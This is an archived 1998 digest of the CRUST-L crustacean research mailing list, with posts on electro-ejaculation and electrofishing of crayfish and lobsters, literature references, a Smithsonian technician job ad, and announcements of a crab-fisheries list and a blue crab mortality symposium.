MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 2 Dec 1998 16:39:34 +0800 From: clawrence@fish.wa.gov.au Subject: re: CRUST-L: electro-ejaculation Dean Try placing electrodes either side of the gonopore and applying a 10mA current, this method has been used for Cherax tenuimanus and C. albidus so it is likely that you will also have success with C. destructor. Regards Craig <>< <>< <>< <>< <>< <>< <>< Craig Lawrence Research Scientist (Aquaculture) Fisheries Western Australia Fisheries Research Division WA Marine Research Laboratories Ph +61 9 246 8415 Fax +61 9 447 3062 Email clawrence@fish.wa.gov.au - ---------- Original Text ---------- From: ""Dean Jerry"" , on 02/12/98 05:34: Hi folks, I am interested in trying electro-ejaculation as a method to obtain the sperm packet from Cherax destructor. Has anybody on the list had any experiences or tips with electro-ejaculation on other crustaceans that they are willing to share. Cheers Dean Jerry Dr Dean Jerry Post-Doctoral Research Fellow in Aquacultural Genetics CSIRO Animal production Chiswick Pastoral Research Laboratory Armidale, NSW 2350 Australia Ph: 61 2 67761322 Fax: 61 2 67761333 email: djerry@chiswick.anprod.csiro.au **************************************************************************** If we possessed a thorough knowledge of all parts of the seed of any animal, we could from that alone, by reasons entirely mathematical and certain, deduce the whole conformation and figure of each of its members, and, conversely if we knew several peculiarities of this conformation, we would from those deduce the nature of its seed. Rene` Descartes 1596-1650 (Oeuvres iv, 494) **************************************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 02 Dec 1998 14:13:46 +0100 From: Marco Vannini Subject: CRUST-L: lobster growth pattern Dear Colleagues, does anybody know specifics of Panulirid growth rates in any tropical regions (not cultured)? Is anybody at present working on any Indo-pacific spiny lobsters? Thanks Prof. Marco Vannini ******************************************* Prof. Marco Vannini Director of the Zoological Museum of the University of Florence, ""La Specola"" via Romana 17, 50125 Firenze Italy tel +39-55-2288259 fax +39-55-225325 e-mail: vannini_m@dbag.unifi.it ******************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V2 #8 *************************** crust-l-digest Wednesday, December 9 1998 Volume 02 : Number 009 SUBJECTS ---------------------------------------------------------------------- Date: Wed, 02 Dec 1998 14:45:35 -0500 From: Jeffrey Shields Subject: CRUST-L: Forward on electoshock [""Enrique Dupre M."" ] >To: Dean Jerry , crust-l@vims.edu >From: ""Enrique Dupre M."" >Subject: Re: CRUST-L: electro-ejaculation > >Dear Dean: > Currently we induce the ejaculation in spiny lobster and >shrimps by a pair of electrode of cooper (this is a electric wire ) >connected to a transformer to lower the electricity to 12 volt. One >electrode in the sternum between the coxa of the fifth pair of pereiopods >and the other around the genital pore during 1-2 second. We obtain a 0.5 cm >spermatophore. This procedure it can be repeated 3-4 time each 15-30 >seconds. Later the animal recover his normal behavior in the sea water and >one day after it can be electro-ejaculates again. The stimulus for lobster >can be longer, may be 3-6 seconds. > The species that we applied this method were Rhynchocinetes typus, >Cancer polydon, Jasus frontalis. In Hemisquilla stylifera (stomatopoda) is >not working. We tryed with 10 and 20 volt but it was not possible. >Good luck. >Enrique Dupre >Coquimbo, Chile > >---------------------------------------------------------------------------- >---------------------- >At 07:34 AM 02-12-1998 +1000, you wrote: >>Hi folks, >> >>I am interested in trying electro-ejaculation as a method to obtain the >>sperm packet from Cherax destructor. Has anybody on the list had any >>experiences or tips with electro-ejaculation on other crustaceans that they >>are willing to share. >> >>Cheers >> >>Dean Jerry >>Dr Dean Jerry >>Post-Doctoral Research Fellow in Aquacultural Genetics >>CSIRO Animal production >>Chiswick Pastoral Research Laboratory >>Armidale, NSW >>2350 >>Australia >>Ph: 61 2 67761322 >>Fax: 61 2 67761333 >>email: djerry@chiswick.anprod.csiro.au >> >>**************************************************************************** >>If we possessed a thorough knowledge of all parts of the seed of any >>animal, we could from that alone, by reasons entirely mathematical and >>certain, deduce the whole conformation and figure of each of its members, >>and, conversely if we knew several peculiarities of this conformation, we >>would from those deduce the nature of its seed. >>Rene` Descartes 1596-1650 (Oeuvres iv, 494) >>**************************************************************************** >> >>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >>To (un)subscribe to CRUST-L: >>Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >>To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >>Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >>Archives available at http://www.vims.edu/~jeff/archive.htm >>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >> >______________________________ > Enrique Dupre M. > Depto. Biologia Marina > Facultad Cs. del Mar >Universidad Catolica del Norte > Chile >______________________________ > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 3 Dec 1998 10:02:36 +0100 From: pnoel@cimrs1.mnhn.fr (Pierre NOEL) Subject: Re: CRUST-L: Electroshock & fishing in crayfish >Hello Crustlers, >Dean Jerry's request has prompted me to ask a related question. Has any >one any experience with electrofishing for crayfish who can tell me >anything about the pulse requirements, or mor particularly, has anyone any >data or references on using electroshock for narcotisation of crayfish? I >have an honours student who wishes to explore the idea. >Thanks in anticipation,>Tom.> >Tom McRae>Ecology and Environment>Deakin University, Warrnambool Campus>P O >Box 423, >Warrnambool, Vic. 3280>Australia.>>Ph: + 61 (0)3 55 633 461>Fax: >+ 61(0)3 55 633 462>E-mail: mcraet@deakin.edu.au Here are some references related with your question (=electrofishing). I am interested by other references you might receive from other sources. Best regards. Pierre. Demars J. J., 1979. Premieres donnees sur les populations d'ecrevisses de quelques cours d'eau du haut bassin Loire-Allier. in Freshwater Crayfish IV, Pierre-J. Laurent, editor, Papers from the Fourth International Symposium on Freshwater Crayfish, Thonon-les-Bains, France 1978. Thonon-les-Bains: Institut National de la Recherche Agronomique, 4: 165-174, 3 fig. Fievet E., Tito de Morais L., Tito de Morais A., 1996. Quantitative sampling of freshwater shrimps: comparison of two electrofishing procedures in a Caribbean stream. Arch. Hydrobiol., 138: 273-287. Gerdeaux D., Jestin J.M., 1978. Exemple d'application du chalut electrifie dans un milieu tempere tres mineralise. Annales de limnologie, 14 (3): 281-287. Halsband E., 1968. Electric installations for blocking or guiding fish in fresh water. in Vibert, R. (ed.) Application of Electricity in Interior Waters (Institut National de la Recherche Agronomique, Paris : 198-201. Jestin J. M., 1979a. Techniques d'echantillonage, croissance et production de l'ecrevisse, Orconectes limosus Raf., du Lac de Creteil. publication de l' ENS, Laboratoire de Zoologie, Paris, 24: 1-128, 29 fig., 43 tabl. [These de Docteur-ingenieur, Universite Paris VI]. Jestin J. M., 1979b. Croissance et developpement de l'ecrevisse americaine, Orconectes limosus (Rafinesque), dans le lac de Creteil (Val de Marne) (France). in Freshwater Crayfish IV, Pierre-J. Laurent, editor, Papers from the Fourth International Symposium on Freshwater Crayfish, Thonon-les-Bains, France 1978. Thonon-les-Bains: Institut National de la Recherche Agronomique, 4: 65-72, fig. 1-3. Laurent P.-J., ( ed.), 1979. Freshwater crayfish IV. Papers from he Fourh International Symposium on Freshwater Crayfish, Thonon-les-Bains, France, 1978. 4: 1-473. Pecoste G., 1994. Gan : des ecrevisses plein le Neez - Pied de Neez a la pollution. L'eclair, 20-21 aout 1994: 1 & 4, 2 photos. Penczak T., Rodriguez G., 1990. The use of electrofishing to estimate population densities of freshwater shrimps (Decapoda, Natantia) in a small tropical river, Venezuela. Arch. Hydrobiol., 18 (4): 501-509. Pringle C. M., Blake G. A., 1994? Quantitative effects of Atyid shrimp (Decapoda: Atyidae) on the depositional environment in a tropical stream: use of electricity for experimental exclusion. Canadian Journal of Fisheries and Aquatic sciences, Vannini M., Insom E., 1976. Notes on the behaviour of crustacean decapods in an electric field. Monitore Zoologico Italiano, (NS) 10: 265-269. Vigneux D., Vigneux E., 1981. Gestion des peuplements astacicoles. Repeuplements. Bulletin Francais de Pisciculture, no special ecrevisses no1, no281, no special ecrevisses no1: 169-184, 5 fig. Westman K., Sumari O., Pursainen M., 1978. Electric fishing in sampling crayfish. Freshwater crayfish Symposium, 4: 251-256. Pierre Y. Noel, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 03 Dec 1998 10:53:19 +0100 From: ""Trond Taugb�l"" Subject: Re: CRUST-L: Electroshock in crayfish This is a multi-part message in MIME format. - --------------EED9DFF75D1A3779E4EE6FF7 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Tom, here is a reference (from your hemisphere) that might be worth checking out: Rabeni, C., Collier, K.J., Parkyn, S.M. & Hicks, B.J. 1997. Evaluating techniques for sampling stream crayfish (Paranephrops planifrons). New Zealand Journal of Marine and Freshwater Research 31: 693-700. Tom McRae wrote: > Hello Crustlers, > > Dean Jerry's request has prompted me to ask a related question. Has any > one any experience with electrofishing for crayfish who can tell me > anything about the pulse requirements, or mor particularly, has anyone any > data or references on using electroshock for narcotisation of crayfish? I > have an honours student who wishes to explore the idea. > > Thanks in anticipation, > > Tom. > > Tom McRae > Ecology and Environment > Deakin University, Warrnambool Campus > P O Box 423, > Warrnambool, Vic. 3280 > Australia. > > Ph: + 61 (0)3 55 633 461 > Fax: + 61 (0)3 55 633 462 > E-mail: mcraet@deakin.edu.au > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - --------------EED9DFF75D1A3779E4EE6FF7 Content-Type: text/x-vcard; charset=us-ascii; name=""vcard.vcf"" Content-Transfer-Encoding: 7bit Content-Description: Card for Trond Taugb�l Content-Disposition: attachment; filename=""vcard.vcf"" begin: vcard fn: Trond Taugb�l n: Taugb�l;Trond org;quoted-printable:=D8stlandsforskning/Eastern Norway Research Institute adr: P.O.Box 1066 Skurva;;;N-2601 Lillehammer;;;Norway email;internet: Trond.Taugbol@ostforsk.no tel;work: +47 61265732 tel;fax: +47 61254165 tel;home: +47 61259452 x-mozilla-cpt: ;0 x-mozilla-html: TRUE version: 2.1 end: vcard - --------------EED9DFF75D1A3779E4EE6FF7-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. 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Castro, Ph.D. >Biological Sciences Department >California State Polytechnic University, Pomona 91768-4032, U.S.A >http://www.csupomona.edu/~biology/ >VOICE MAIL: (909) 869-4069 >FAX: +(909) 869-4078 >--=====================_4270470==_.ALT > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 3 Dec 1998 21:26:31 -0500 From: ""Rhea Tannenbaum"" Subject: CRUST-L: Fw: Position: Estuarine Biol. Tech. with Smithsonian GS 7 or 9 All, The following position is in the ""Crab Lab"". I'd apply for the job myself, except I don't have a scuba diving license. I came across this post on sci.bio.ecology. It's a lively news group, worth checking out. Rhea Tannenbaum - -----Original Message----- Newsgroups: sci.bio.ecology Date: Thursday, December 03, 1998 11:38 AM Subject: Position: Estuarine Biol. Tech. with Smithsonian GS 7 or 9 >BIOLOGICAL TECHNICIAN > >SMITHSONIAN ENVIRONMENTAL RESEARCH CENTER > >Population and Community Ecology >of >Marine and Estuarine Ecosystems > >Position Title/Series/Grade: Biological Science Technician, GS-404-7/9 >Announcement Number: 98BG-1295 >Opening Date: 4 December 1998 >Closing Date: 4 January 1998 > >Salary & Benefits: >GS7-1 $26,532 >GS9-1 $32,457 >This position provides a full benefits package for federal government >employees, including options for health insurance, life insurance, retirement >plan and other components. Annual leave and sick leave are included. Federal >career status may be obtained after a probationary period. > >Location: >Smithsonian Environmental Research Center >PO Box 28, 647 Contees Wharf Road >Edgewater, MD 21037-0028 >USA >telephone: 301.261.4190 >fax: 301.261.7954 >Internet: www.serc.si.edu > >The Smithsonian Environmental Research Center (SERC) is located in Edgewater, >MD, about 25 miles east of Washington, DC and 7 miles south of Annapolis, MD. >SERC is based on 2,600 acres of land surrounding the Rhode River, a small >subestuary of the western shore of Chesapeake Bay. The facilities include >150,000 sq ft of laboratories, education building, shops, library, seminar >room, dormitory, dock, and specialized field laboratories (Wet Lab, CO2 Lab, >N20 Lab, Instrument Calibration Lab, Forest and Meteorology Towers, Weirs). > >General: The Smithsonian Environmental Research Center (SERC) is dedicated to >increasing knowledge of the biological and physical processes that sustain >life on earth. SERC's interdisciplinary research applies long-term studies to >examine the ecological questions about landscapes of linked ecosystems, >especially those impacted by human activities. SERC scientists use an >experimental approach to discover mechanisms regulating the structure and >dynamics of the environment. Located on the shore of Chesapeake Bay, SERC >uses the geographic features of the nation's largest estuary to investigate >interconnections of aquatic, terrestrial and atmospheric components of >complex landscapes. These studies are then compared on regional, continental >and global scales. SERC develops innovative approaches and instrumentation >to measure environmental change in four ecological levels: Global change; >Landscape ecology; Ecology of coastal ecosystems; and Population and >community ecology. For improved stewardship of the biosphere, SERC's >research provides data, publications and expert consultation in support of >conservation, environmental policy and management of natural resources. >Connected to an international network of collaborators, SERC trains future >generations of scientists to address ecological questions of the nation and >globe. SERC's education programs in ecology demonstrate to the public the >active process of research, and infuse scientific approaches for >environmental issues through experiencing nature. SERC currently has about >150 people composed of staff, fellows, students and volunteers. More >information may be obtained from SERC's HomePage: www.serc.si.edu > >The Crab Lab. This Biological Technician position is one of two primary >assistants supporting the research program of Dr. Anson ""Tuck"" Hines. Because >much of the research in this lab over the past 20 years has focused on the >ecology of blue crabs and other species of crabs, it has been nicknamed ""The >Crab Lab"". This research program tracks long-term variation in population >dynamics and species composition of macro-invertebrates and fish of the Rhode >River subestuary as a model ecosystem of Chesapeake Bay. Experimental >elements determine mechanistic controls of predator-prey interactions, >indirect effects, habitat utilization, reproductive biology, life history >strategies, recruitment dynamics, demography, and other aspects. Much of the >experimental work is supported through external grants and contracts, which >fund short-term technical assistants and students. Professional training of >undergraduate Interns (2-4 per yr), Graduate Students (2-6 in Masters and PhD >programs), Postdoctoral Fellows (1-3 per year), and Vistiting Scientists (3-5 >per year) forms an important added component to the program. Biological >Technicians are responsible for the day-to-day conduct of the research as >well as operation of boats (skiffs, boston whalers, diesel-powered boats to >42 ft) and an array of equipment (microscopes, balances, cameras, ultrasonic >telemetry tags and instruments, GPS and other navigation instruments). The >research program has a distinct seasonal cycle with intensive field work in >warm months shifting during winter into sample sorting, equipment >maintenance, and data analysis. Experience in use of computer software for >statistical analysis, spreadsheets, graphics, and data management is highly >desirable. Technicians also support and participate in grantsmanship and >publications, may present papers at scientific meetings, provide practical >training to student interns, and on occasion may be involved in SERC public >programs (tours, annual open house, demonstration of research methods to >school groups). Because of the scope and diversity of components of the >research program, the person in this position must demonstrate both >leadership and teamwork, initiative and independence, organization, good >judgment for field and laboratory safety, ability to interact well with >diverse personalities. > >Specific Duties: The position performs a variety of field and laboratory >tasks supporting SERC's research on estuarine animal communities of >Chesapeake Bay: Samples plankton, benthic invertebrates, and fish using small >to medium-sized boats, trawling, nets, traps, weir, pumps, grab and coring >devices, and scuba gear. - Sort, identify species and count all animals >sampled either in the field or using microscopes in the laboratory. - Build >and maintain cages and other apparatus placed in the estuary. - Maintain live >estuarine invertebrates and fish in laboratory aquaria and tanks for >experiments; assist in operation of wet laboratory. - Assist in conducting >field and lab experiments on feeding, growth, reproduction, and survivorship. >- Data management: record data, log sampling and experimental tasks >completed, maintain filing system for data sheets, enter and edit data in >computer files. - Data analysis using Macintosh and Windows operating >systems: Conduct statistical data analysis using software packages >(especially SAS, Excel, Access, Power Point, Cricket/Delta Graph,and others) >with guidance from Principal Investigator. Prepare graphical plots of data >using computer software. - Coordinate sampling schedule with Principal >Investigator, technicians and other assistants and students. - Assist in >preparation and publication of proposals, reports, and papers. - Assist >Interns, Graduate Students, Postdoctoral Fellows and Visiting Scientists with >research projects related to long-term research program > >Qualifications: Candidates for GS7 level must have 1 year of specialized >experience equivalent to at least the GS5 grade level. Candidates for GS9 >level must have 1 year of specialized experience equivalent to at least the >GS7 grade level. Specialized experience is experience that is directly >related to the position, performing duties such as those listed above. >Education may be substituted for the specialized experience as follows: one >full year of graduate education directly related to the work of this position >meets the minimum requirements for GS7. Two full years of graduate education >or a Master's degree directly related to the work of this position meets the >minimum requirements for GS9. Note: all applicants wishing to qualify based >on education must submit a photocopy of their college transcripts. Those >applicants who do not submit copies of transcripts will not be considered. >Selective Factors: (Applicants must meet all of these mandatory requirements >to be considered qualified to compete for this position.) 1. Scuba >certification is required. Note: all applicants must provide a photocopy of >a valid/current scuba certification. Those applicants who do not submit a >certification will not be considered. 2. Knowledge of field sampling >techniques. 3. Ability to operate small to medium sized boats. 4. Knowledge >of plankton, invertebrates and fish (i.e., as evidenced by professional >experience or formal education). Quality Ranking Factors: (These factors are >not mandatory to be considered for the position, but are important elements >of the position and will be used to determine the highest qualified >candidates among those who meet the selective factors.) 1. Knowledge of >estuarine plankton, invertebrates and fish of Chesapeake Bay. 2. Skill in >field ecology of Chesapeake Bay. 3. Skill in scientific data analysis and >graphics. 4. Knowledge of the use of computer software for word processing, >spread sheets, statistical analysis, graphics, and data management. > >Application Procedures: > >1. The Smithsonian Institution does not require a standard application form, >but we need certain information to evaluate your qualifications. You may >apply using a resume, the Optional Application for Federal Employment >(OF-612), or any other application form you choose, including an SF-171, >Application for Federal Employment. (Note if you use an SF-171, do not >answer questions 38-47. Job finalists will be asked to complete a Declaration >for Federal Employment to determine their suitability for Federal employment >and to authorize a background investigation.) > >2. Clearly describe in your resume or application your work experience, >education and/or training as it relates to this vacancy. It is very important >that you fully address your work experience and education/training meet both >the specialized experience requirement and the selective factors. This >information will be used to determine whether or not you qualify for this >vacancy. Selective factors establish qualifications to be eligible to compete >for the position. Quality Ranking Factors are not mandatory but are used to >determine who are the highest qualified candidates among those eligible to >compete for the position. Therefore, it is to you benefit to provide a full >description of your experience and education/training relative to the job >requirements of this vacancy. > >3. Current Federal employees should submit a copy of their most recent annual >performance appraisal. > >Applications must be submitted to one of the addresses below and must be >postmarked by the closing date: >Send your application to: > Smithsonian Institution > Office of Human Resources, Branch 1 > P.O. Box 23762 > Washington, DC 20026-3762 >OR bring your application to: > Employment Office > Smithsonian Institution > 955 L'Enfant Plaza, SW, Suite 2100 > Washington, DC > (Hours: M-F, 9am to 5 pm) > >To obtain information on the Federal hiring process, or request vacancy >announcements or other application forms, call the automated Job line at (202) >287-3102 (24 hrs, 7 days). For further information, please call (202) 287-2478 >(voice) or (202) 287-3498 (TTY). > >-----------== Posted via Deja News, The Discussion Network ==---------- >http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 07 Dec 1998 11:46:56 -0500 From: Jeffrey Shields Subject: CRUST-L: new list for crab fisheries, CRAB-L CRUSTers, Here's some info on a new list for crab fisheries. Cheers, Jeff =====================================fwd================================== The Crab-L listserv is an automatic electronic mail fan out system which provides a discussion forum for persons interested in crab fisheries world wide. It is an electronic meeting house for the exchange of information and ideas, and for the expression of opinions. Information may also be posted on meetings, conferences, workshops, publications, and reports. Comments on market changes and potentials are welcome. Anyone may join. This list is not intended to carry notices regarding job opportunities or job requests. NO advertisements by private sector companies are permitted. Please restrict your postings to items related to crab fishery and stocks. All postings must also adhere to IOS policies for appropriate use of computing facilities. NOTE!!! The address you use to post messages to the members is different than the address you use to subscribe or unsubscribe which authorizes you to send and receive mail, which is different from the address for help requests. How to SEND MESSAGES to CRAB-L =============================== To send, or ""post"", a message on CRAB-L so that it will be seen by all subscribers, send the message as E-mail to: CRAB-L@IOS.BC.CA just as you would if you were sending E-mail to another person. You may have to add some additional routing information to send your message out via the internet, depending on your operating system. How to SUBSCRIBE ================ THIS IS NOT THE SAME ADDRESS AS YOU NORMALLY USE TO SEND MESSAGES TO THE CRAB LIST. To subscribe to this list so that you can receive messages from other members, send a one line message with the text, ""subscribe crab-l"", to ""mailserv@ios.bc.ca"" (without the quotation marks at either end, note: upper or lower case letters may be used). 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Cheers, Jeff _______________________________________________________________ If you are interested in entomology or other arthropod information you may find it useful to know that a major new resource will be available on the Web in January 1999. The service, called BioBridge to Entomology, is being launched through an alliance between BIOSIS and CABI Publishing, the world s two leading life science database publishers. It will be a gateway to information on all arthropods, with a new integrated database at its core, combining the resources of BIOSIS Previews?, CAB ABSTRACTS, and Zoological Record. As a joint resource the database will offer more than other entomology information sources available, not only in the number of records included but also in the depth and breadth of coverage. The database will retain the original features of the contributing resources, but will allow cross-database searching in an easy and user-friendly manner. Term mapping and duplicate record identification will add to the functionality of the combined database. Almost 200,000 references will be included in BioBridge to Entomology, dating from 1995 to the present, and the database will be updated on a monthly basis. The database will cover pure and applied information relating to arthropods, including insects, arachnids and crustaceans, and encompassing their natural biology as well as medical, veterinary, aquaculture and agricultural topics. If you would like to assess the suitability of BioBridge to Entomology for your needs, you can register now for a free 30 day trial to start in January. For more information and to request a free trial visit the BioBridge to Entomology Web site at http://www.biobridge.org >Tania >Tania Fisher >Product Manager >CABI Publishing >CAB International >t.fisher@cabi.org jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 8 Dec 1998 08:49:50 +1000 From: ""Ruscoe, Ian"" Subject: CRUST-L: Andrectomy of freshwater crayfish Does anyone have any information on surgical procedures for andrectomy in freshwater crayfish/crawfish? Also, for creation of reproductive neofemales, does it need to be done before the sexual characteristics (gonopores) are evident? The Israeli's have successfully done it in a small number of M.rosenbergii which were evidently operated on at less than 1g. Any discussion appreciated. Thanks Ian Ruscoe Aquaculture Technician Queensland Department of Primary Industries Freshwater Fisheries and Aquaculture Centre Kennedy Highway Walkamin, Q4872 Australia ph (07) 40 933 733 fax (07) 40 933 903 E-mail Ruscoei@prose.dpi.qld.gov.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 8 Dec 1998 12:22:20 -0600 From: ""Guillory, Vince"" Subject: CRUST-L: Blue Crab Mortality Symposium A Blue Crab Mortality Symposium will be held on Saturday, May 29, 1999, in conjunction with the annual meeting of the Crustacean Society in Lafayette, Louisiana. Any presentation on sources of, or evaluation of, larval, juvenile, or adult blue crab mortalities from both biotic and abiotic factors would be appropriate, and review papers on these topics are encouraged. A peer-reviewed proceedings of the blue crab mortality symposium will be published by the Gulf States Marine Fisheries Commission. There also will be an opportunity to submit papers for publication in the proceedings that are not presented orally at the symposium. If you are interested in participating in the symposium or anticipate submitting a paper without making an oral presentation, please contact me. Additional information concerning the symposium can be sent to interested individuals. Please distribute this information to others who might be interested in the blue crab mortality symposium. Vince Guillory, Symposium Organizer Louisiana Department of Wildlife and Fisheries PO Box 189 Bourg, LA 70343 (504)594-4130 e-mail: guillory_v@wlf.state.la.us =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE 